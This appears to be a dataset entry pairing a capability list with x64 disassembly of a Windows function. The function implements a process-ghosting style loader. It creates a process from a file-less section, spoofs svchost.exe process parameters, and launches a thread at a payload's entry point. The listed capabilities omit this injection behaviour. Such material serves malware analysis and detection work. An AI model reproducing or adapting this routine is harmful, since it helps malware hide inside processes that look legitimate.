Function at 0x1400013f0
Capabilities:
Get common file path
Link many functions at runtime
Terminate process

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x18b0]
mov eax, 0x19b0
call fcn.140002c00
sub rsp, rax
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x1890], rax
mov rbx, rcx
mov qword [rsp + 0x60], rcx
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x14000145e
lea rcx, str.____Error_NtQueryInformationProcess_API_not_found_n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [rdi - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.ntdll.dll
mov qword [rsp + 0x19e0], r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlInitUnicodeString
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
jne 0x1400014a4
lea rcx, str.____Error_RtlInitUnicodeString_API_not_found_n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [r12 - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.ntdll.dll
mov qword [rsp + 0x19d8], rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x1400014e8
lea rcx, str.____Error_NtCreateThreadEx_API_not_found_n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [rsi - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.ntdll.dll
mov qword [rsp + 0x19a0], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
jne 0x14000152d
lea rcx, str.____Error_NtWriteVirtualMemory_API_not_found_n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [r15 - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.ntdll.dll
mov qword [rsp + 0x19a8], r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x140001572
lea rcx, str.____Unable_To_Found_API_NtAllocateVirtualMemory...
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [r14 - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.ntdll.dll
mov qword [rsp + 0x19e8], r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlCreateProcessParametersEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test rax, rax
jne 0x1400015b7
lea rcx, str.____Unable_To_Found_API_RtlCreateProcessParametersEx...
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [r13 - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsd xmm0, qword [0x140003b08]
lea rcx, [rbp + 0x5a]
movzx eax, word [0x140003b10]
xor edx, edx
mov r8d, 0x1fe
movsd qword [rbp + 0x50], xmm0
mov word [rbp + 0x58], ax
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0x470]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0x260]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x260]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x470]
xor r8d, r8d
lea rdx, [0x140003b14]
lea rcx, [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, rbx
lea rcx, [rbp + 0x50]
call fcn.1400010f0
mov qword [rbp - 0x10], rax
cmp rax, 0xffffffffffffffff
jne 0x140001678
lea rcx, str.____Invalid_Section..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.ntdll.dll
mov qword [rbp - 0x58], 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateProcessEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x1400016bc
lea rcx, str.____Unable_To_Found_API_NtCreateProcessEx..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [rbx - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov byte [rsp + 0x40], 0
lea rcx, [rbp - 0x58]
mov r9, rax
xor r8d, r8d
xor eax, eax
mov edx, 0x1fffff
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
call rbx
test eax, eax
je 0x140001712
lea rcx, str.____Unable_To_Create_The_Process..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rbx, qword [rbp - 0x58]
cmp rbx, 0xffffffffffffffff
jne 0x140001732
lea rcx, str.____Invalid_Process_Handle..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, ebx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.____Successfully_Created_Process_From_File_less_Section..._n
call fcn.140001010
lea rax, [rbp - 8]
mov r9d, 0x30
lea r8, [rbp - 0x40]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call rdi
test eax, eax
je 0x140001775
lea rcx, str.____Error_Getting_Process_Infromation___n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [rbp - 0x40]
xor edx, edx
lea rcx, [rbp + 0x890]
mov r8d, 0x1000
movaps xmmword [rsp + 0x70], xmm0
call sub.VCRUNTIME140.dll_memset
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlImageNtHeader
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x1400017ce
lea rcx, str.____Unable_To_Found_API_RtlImageNTheader..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [rdi - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtReadVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001809
lea rcx, str.____Unable_To_Found_API_NtReadVirtualMemory..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, qword [rsp + 0x78]
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x890]
mov rcx, rbx
mov r9d, 0x1000
call rax
test eax, eax
je 0x140001846
lea rcx, str.___Unable_to_read_remote_process_base_address..__n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, qword [rbp + 0x8a0]
lea rcx, str.___Base_Address_of_target_process_PEB:__p__n
call fcn.140001010
mov rcx, qword [rsp + 0x60]
call rdi
lea rcx, str.___EntryPoint_of_the_payload_buffer:__p__n
mov edi, dword [rax + 0x28]
add rdi, qword [rbp + 0x8a0]
mov rdx, rdi
call fcn.140001010
lea rdx, str.C:windows_system32_svchost.exe
lea rcx, [rbp + 0x680]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 8]
call r12
movups xmm0, xmmword [str.C:WindowsSystem32]
lea rdx, [rbp + 0x28]
movups xmm1, xmmword [0x140003c60]
lea rcx, [rbp + 0x18]
movups xmmword [rbp + 0x28], xmm0
movsd xmm0, qword [0x140003c70]
movsd qword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x38], xmm1
call r12
mov dword [rsp + 0x50], 1
lea rax, [rbp + 8]
xor r12d, r12d
lea r8, [rbp + 0x18]
mov qword [rsp + 0x48], r12
lea rdx, [rbp + 8]
mov qword [rsp + 0x40], r12
lea rcx, [rbp - 0x60]
mov qword [rsp + 0x38], r12
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
call r13
test eax, eax
je 0x140001925
lea rcx, str.____Unable_To_Create_Process_Parameters..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [r12 - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rbp - 0x60]
lea r9, [rbp]
mov qword [rbp - 0x50], rcx
lea rdx, [rbp - 0x50]
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
mov eax, dword [rcx + 0x3f0]
add eax, dword [rcx]
mov rcx, rbx
mov qword [rbp], rax
call r14
test eax, eax
je 0x140001977
lea rcx, str.____Unable_To_Allocate_Memory_For_Process_Parameters..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, qword [rbp - 0x50]
lea rcx, str.___Allocated_Memory_For_Parameters__p_n
call fcn.140001070
mov rdx, qword [rbp - 0x60]
mov rcx, rbx
mov r8, rdx
mov qword [rsp + 0x20], r12
mov r9d, dword [rdx + 0x3f0]
add r9d, dword [rdx]
call r15
mov rdx, qword [rbp - 0x38]
lea r8, [rbp - 0x60]
add rdx, 0x20
mov qword [rsp + 0x20], r12
mov r9d, 8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400019e0
lea rcx, str.____Error_Updating_Process_Parameters___n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Updated_Remote_Process_Parameters_Address_at_PEB_n
call fcn.140001070
mov qword [rsp + 0x50], r12
lea rcx, [rbp - 0x48]
mov dword [rsp + 0x48], r12d
mov r9, rbx
mov dword [rsp + 0x40], r12d
xor r8d, r8d
mov dword [rsp + 0x38], r12d
mov edx, 0x1fffff
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rdi
call rsi
mov ebx, eax
test eax, eax
je 0x140001a69
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001cf0
mov rcx, rax
lea rdx, [0x1400010d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001ea0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Thread_Executed..._n
call fcn.140001070
mov r13, qword [rsp + 0x19e8]
mov eax, 1
mov r14, qword [rsp + 0x19a8]
mov r15, qword [rsp + 0x19a0]
mov rsi, qword [rsp + 0x19d8]
mov r12, qword [rsp + 0x19e0]
mov rcx, qword [rbp + 0x1890]
xor rcx, rsp
call fcn.140001ef0
add rsp, 0x19b0
pop rdi
pop rbx
pop rbp
ret